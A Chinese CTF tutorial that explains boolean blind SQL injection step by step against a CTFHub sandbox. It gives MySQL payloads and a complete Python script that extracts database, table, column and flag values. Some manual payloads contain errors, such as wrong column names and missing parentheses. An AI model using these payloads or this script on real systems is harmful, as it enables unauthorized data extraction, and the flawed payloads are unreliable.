SQL注入之布尔型盲注

admin 2022年1月26日02:09:46评论174 views字数 9713阅读32分22秒阅读模式

布尔盲注简介

布尔盲注,与普通注入的区别在于“盲注”。在注入语句后,盲注不是返回查询到的结果,而只是返回查询是否成功,即:返回查询语句的布尔值。因此,盲注要盲猜试错。由于只有返回的布尔值,往往查询非常复杂,一般使用脚本来穷举试错

SQL注入之布尔型盲注


一、盲注思路

由于对数据库的信息了解甚少,盲注需要考虑多种情况,一般思路如下:

  1. 爆库名长度

  2. 根据库名长度爆库名

  3. 对当前库爆表数量

  4. 根据库名和表数量爆表名长度

  5. 根据表名长度爆表名

  6. 对表爆列数量

  7. 根据表名和列数量爆列名长度

  8. 根据列名长度爆列名

  9. 根据列名爆数据值

二、盲注原理

将自己的注入语句使用and?id=1并列,完成注入

SQL注入之布尔型盲注

1.盲注常用函数

  • substr(str,from,length):返回从下标为from截取长度为length的str子串。其中,首字符下标为1

  • length(str):返回str串长度

2.盲注步骤

穷举、盲猜


(1)爆数据库名长度

首先,通过循环i从1到无穷,使用length(database()) = i获取库名长度,i是长度,直到返回页面提示query_success即猜测成功

?id=1 and length(database())=1#query_error...?id=1 and length(database())=4#query_success#库名长度为4

(2)根据库名长度爆库名

获得库名长度i后,使用substr(database(),i,1)将库名切片,循环i次,i是字符下标,每次循环要遍历字母表[a-z]作比较,即依次猜每位字符

注意观察substr(database,i,1)
i从1开始(第i个字符)
?id=1 and substr(database(),1,1)=‘a’#query_error...?id=1 and substr(database(),1,1)=‘s#query_success#库名第一个字符是s...?id=1 and substr(database(),4,1)=‘i’#query_success#库名第四个字符是i
#库名是sqli

(3)对当前库爆表数量

下一步是获取数据库内的表数量,使用mysql的查询语句select COUNT(*)。同样,要一个1到无穷的循环

?id=1 and (select COUNT(*) from information_schema.tables where table_schema=database())=1#query_error
?id=1 and (select COUNT(*) from information_schema.tables where table_schema=database())=2#query_success#当前库sqli有2张表


(4)根据库名和表数量爆表名长度

得到表数量i后,i就是循环次数,i是表的下标-1,大循环i次(遍历所有表),这里的i从0开始,使用limit i ,1限定是第几张表,内嵌循环j从1到无穷(穷举所有表名长度可能性)尝试获取每个表的表名长度

注意观察limit i,1 

i从0开始(第i+1张表)

?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=1#query_error...?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4#query_success#当前库sqli的第一张表表名长度为4...?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=4#query_success#当前库sqli的第二张表表名长度为4
#当前库sqli有两张表’news’和’flag‘,表名长度均为4


(5)根据表名长度爆表名

再大循环i次(遍历所有表),内嵌循环j次(表名的所有字符),i是表下标-1,j是字符下标,再内嵌循环k从a到z(假设表名全是小写英文字符)尝试获取每个表的表名

注意观察substr((select…limit i,1),j,1) 

i从0开始(第i+1张表),j从1开始(第j个字符)

?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘a’#query_error...?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘n’#query_success#当前库sqli的第一张表表名第一个字符是n...?id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1)=‘g’#query_success#当前库sqli的第二张表表名的第四个字符是g
#当前库sqli有两张表’news‘和‘flag’

这里分析一下表名——flag在第二张表flag里面,就不用对表news操作了


(6)对表爆列数量

操作同对当前库爆表数量的步骤,只是要查询的表不同

?id=1 and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name=‘flag’)=1#query_error
?id=1 and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name=‘flag’)=2#query_success#当前库sqli表flag的列数为2


(7)根据表名和列数量爆列名长度

操作同对当前库爆表名长度的步骤,i是列标-1

注意观察limit i,1
i从0开始(第i+1列)

注意观察limit i,1

i从0开始(第i+1列)

?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)=1#query_error...?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)=4#query_success#当前库sqli表flag的第一列列名长度为4...?id=1 and length(select columns from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1)=4#query_success#当前库sqli表flag的第二列列名长度为4
#当前库sqli表flag有两个列‘id’和‘flag’,列名长度为2和4


(8)根据列名长度爆列名

操作同对当前库爆表名的步骤,i是列标-1,j是字符下标

注意观察substr((select…limit i,1),j,1))

i从0开始(第i+1列),j从1开始(第j个字符)

?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1),1,1)=‘a’#query_error...?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 0,1),1,1)=‘i’#query_success#当前库sqli表flag的第一列列名第一个字符为i...?id=1 and substr((select columns_name from information_schema.columns where table_schema=database() and table_name=‘flag’ limit 1,1),4,1)=‘g’#query_success#当前库sqli表flag的第二列列名第四个字符为g
#当前库sqli表flag有两个列‘id’和‘flag’


(9)根据列名爆数据

flag有固定的格式,以右花括号结束,假设flag有小写英文字母、下划线、花括号构成,由于不知道flag长度,要一个无限循环,定义计数符j,内嵌循环i遍历小写、下划线和花括号,匹配到字符后j++,出循环的条件是当前i是右花括号,即flag结束

注意观察substr((select…),j,1)

j从1开始(flag的第j个字符)

?id=1 and substr((select flag from sqli.flag),11)=“a”#query_error...?id=1 and substr((select flag from sqli.flag),11)=“c”#query_success#flag的第一个字符是c...?id=1 and substr((select flag from sqli.flag),i,1)=“}”#query_success#flag的最后一个字符是}#这里的j是计数变量j从1自增1得到的值
#出循环即可得到flag


三、脚本自动化盲注


1.Python脚本

由于布尔盲注有大量重复的操作,手注极其繁琐且枯燥,这里给出使用Python编写的脚本完成布尔盲注

脚本使用requests库完成GET请求,基于Python3

#导入库import requests
#设定环境URL,由于每次开启环境得到的URL都不同,需要修改!url = 'http://challenge-9e60bb79512ae37b.sandbox.ctfhub.com:10080/'#作为盲注成功的标记,成功页面会显示query_successsuccess_mark = "query_success"#把字母表转化成ascii码的列表,方便便利,需要时再把ascii码通过chr(int)转化成字母ascii_range = range(ord('a'),1+ord('z'))#flag的字符范围列表,包括花括号、a-z,数字0-9str_range = [123,125] + list(ascii_range) + list(range(48,58))
#自定义函数获取数据库名长度def getLengthofDatabase(): #初始化库名长度为1 i = 1 #i从1开始,无限循环库名长度 while True: new_url = url + "?id=1 and length(database())={}".format(i) #GET请求 r = requests.get(new_url) #如果返回的页面有query_success,即盲猜成功即跳出无限循环 if success_mark in r.text: #返回最终库名长度 return i #如果没有匹配成功,库名长度+1接着循环 i = i + 1
#自定义函数获取数据库名def getDatabase(length_of_database): #定义存储库名的变量 name = "" #库名有多长就循环多少次 for i in range(length_of_database): #切片,对每一个字符位遍历字母表 #i+1是库名的第i+1个字符下标,j是字符取值a-z for j in ascii_range: new_url = url + "?id=1 and substr(database(),{},1)='{}'".format(i+1,chr(j)) r = requests.get(new_url) if success_mark in r.text: #匹配到就加到库名变量里 name += chr(j) #当前下标字符匹配成功,退出遍历,对下一个下标进行遍历字母表 break #返回最终的库名 return name
#自定义函数获取指定库的表数量def getCountofTables(database): #初始化表数量为1 i = 1 #i从1开始,无限循环 while True: new_url = url + "?id=1 and (select count(*) from information_schema.tables where table_schema='{}')={}".format(database,i) r = requests.get(new_url) if success_mark in r.text: #返回最终表数量 return i #如果没有匹配成功,表数量+1接着循环 i = i + 1
#自定义函数获取指定库所有表的表名长度def getLengthListofTables(database,count_of_tables): #定义存储表名长度的列表 #使用列表是考虑表数量不为1,多张表的情况 length_list=[] #有多少张表就循环多少次 for i in range(count_of_tables): #j从1开始,无限循环表名长度 j = 1 while True: #i+1是第i+1张表 new_url = url + "?id=1 and length((select table_name from information_schema.tables where table_schema='{}' limit {},1))={}".format(database,i,j) r = requests.get(new_url) if success_mark in r.text: #匹配到就加到表名长度的列表 length_list.append(j) break #如果没有匹配成功,表名长度+1接着循环 j = j + 1 #返回最终的表名长度的列表 return length_list
#自定义函数获取指定库所有表的表名def getTables(database,count_of_tables,length_list): #定义存储表名的列表 tables=[] #表数量有多少就循环多少次 for i in range(count_of_tables): #定义存储表名的变量 name = "" #表名有多长就循环多少次 #表长度和表序号(i)一一对应 for j in range(length_list[i]): #k是字符取值a-z for k in ascii_range: new_url = url + "?id=1 and substr((select table_name from information_schema.tables where table_schema='{}' limit {},1),{},1)='{}'".format(database,i,j+1,chr(k)) r = requests.get(new_url) if success_mark in r.text: #匹配到就加到表名变量里 name = name + chr(k) break #添加表名到表名列表里 tables.append(name) #返回最终的表名列表 return tables
#自定义函数获取指定表的列数量def getCountofColumns(table): #初始化列数量为1 i = 1 #i从1开始,无限循环 while True: new_url = url + "?id=1 and (select count(*) from information_schema.columns where table_name='{}')={}".format(table,i) r = requests.get(new_url) if success_mark in r.text: #返回最终列数量 return i #如果没有匹配成功,列数量+1接着循环 i = i + 1
#自定义函数获取指定库指定表的所有列的列名长度def getLengthListofColumns(database,table,count_of_column): #定义存储列名长度的变量 #使用列表是考虑列数量不为1,多个列的情况 length_list=[] #有多少列就循环多少次 for i in range(count_of_column): #j从1开始,无限循环列名长度 j = 1 while True: new_url = url + "?id=1 and length((select column_name from information_schema.columns where table_schema='{}' and table_name='{}' limit {},1))={}".format(database,table,i,j) r = requests.get(new_url) if success_mark in r.text: #匹配到就加到列名长度的列表 length_list.append(j) break #如果没有匹配成功,列名长度+1接着循环 j = j + 1 #返回最终的列名长度的列表 return length_list
#自定义函数获取指定库指定表的所有列名def getColumns(database,table,count_of_columns,length_list): #定义存储列名的列表 columns = [] #列数量有多少就循环多少次 for i in range(count_of_columns): #定义存储列名的变量 name = "" #列名有多长就循环多少次 #列长度和列序号(i)一一对应 for j in range(length_list[i]): for k in ascii_range: new_url = url + "?id=1 and substr((select column_name from information_schema.columns where table_schema='{}' and table_name='{}' limit {},1),{},1)='{}'".format(database,table,i,j+1,chr(k)) r = requests.get(new_url) if success_mark in r.text: #匹配到就加到列名变量里 name = name + chr(k) break #添加列名到列名列表里 columns.append(name) #返回最终的列名列表 return columns
#对指定库指定表指定列爆数据(flag)def getData(database,table,column,str_list): #初始化flag长度为1 j = 1 #j从1开始,无限循环flag长度 while True: #flag中每一个字符的所有可能取值 for i in str_list: new_url = url + "?id=1 and substr((select {} from {}.{}),{},1)='{}'".format(column,database,table,j,chr(i)) r = requests.get(new_url) #如果返回的页面有query_success,即盲猜成功,跳过余下的for循环 if success_mark in r.text: #显示flag print(chr(i),end="") #flag的终止条件,即flag的尾端右花括号 if chr(i) == "}": print() return 1 break #如果没有匹配成功,flag长度+1接着循环 j = j + 1
#--主函数--if __name__ == '__main__': #爆flag的操作 #还有仿sqlmap的UI美化 print("Judging the number of tables in the database...") database = getDatabase(getLengthofDatabase()) count_of_tables = getCountofTables(database) print("[+]There are {} tables in this database".format(count_of_tables)) print() print("Getting the table name...") length_list_of_tables = getLengthListofTables(database,count_of_tables) tables = getTables(database,count_of_tables,length_list_of_tables) for i in tables: print("[+]{}".format(i)) print("The table names in this database are : {}".format(tables))
#选择所要查询的表 i = input("Select the table name:")
if i not in tables: print("Error!") exit()
print() print("Getting the column names in the {} table......".format(i)) count_of_columns = getCountofColumns(i) print("[+]There are {} tables in the {} table".format(count_of_columns,i)) length_list_of_columns = getLengthListofColumns(database,i,count_of_columns) columns = getColumns(database,i,count_of_columns,length_list_of_columns) print("[+]The column(s) name in {} table is:{}".format(i,columns))
#选择所要查询的列 j = input("Select the column name:")
if j not in columns: print("Error!") exit()
print() print("Getting the flag......") print("[+]The flag is ",end="")    getData(database,i,j,str_range)

此脚本只针对于本题,可能与其他题目不兼容 由于没有输入检测,输入没有flag的表和列,可能导致运行错误 由于盲猜是依次遍历,可以优化使用random函数或者是二分法改进算法

2.使用截图

开启环境

SQL注入之布尔型盲注

添加环境的URL

SQL注入之布尔型盲注

选择表flag列flag,开始爆flag

SQL注入之布尔型盲注

爆破结束得到解

SQL注入之布尔型盲注

历史文章推荐:

XSS 实战思路总结

内网信息收集总结

xss攻击、绕过最全总结

一些webshell免杀的技巧

命令执行写webshell总结

SQL手工注入总结 必须收藏

后台getshell常用技巧总结

web渗透之发现内网有大鱼

蚁剑特征性信息修改简单过WAF

内网渗透之域渗透命令执行总结

[WEB安全]Weblogic漏洞总结


查看更多精彩内容,还请关注橘猫学安全

每日坚持学习与分享,麻烦各位师傅文章底部给点个“再看”,感激不尽SQL注入之布尔型盲注

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月26日02:09:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入之布尔型盲注https://cn-sec.com/archives/754261.html

发表评论

匿名网友 填写信息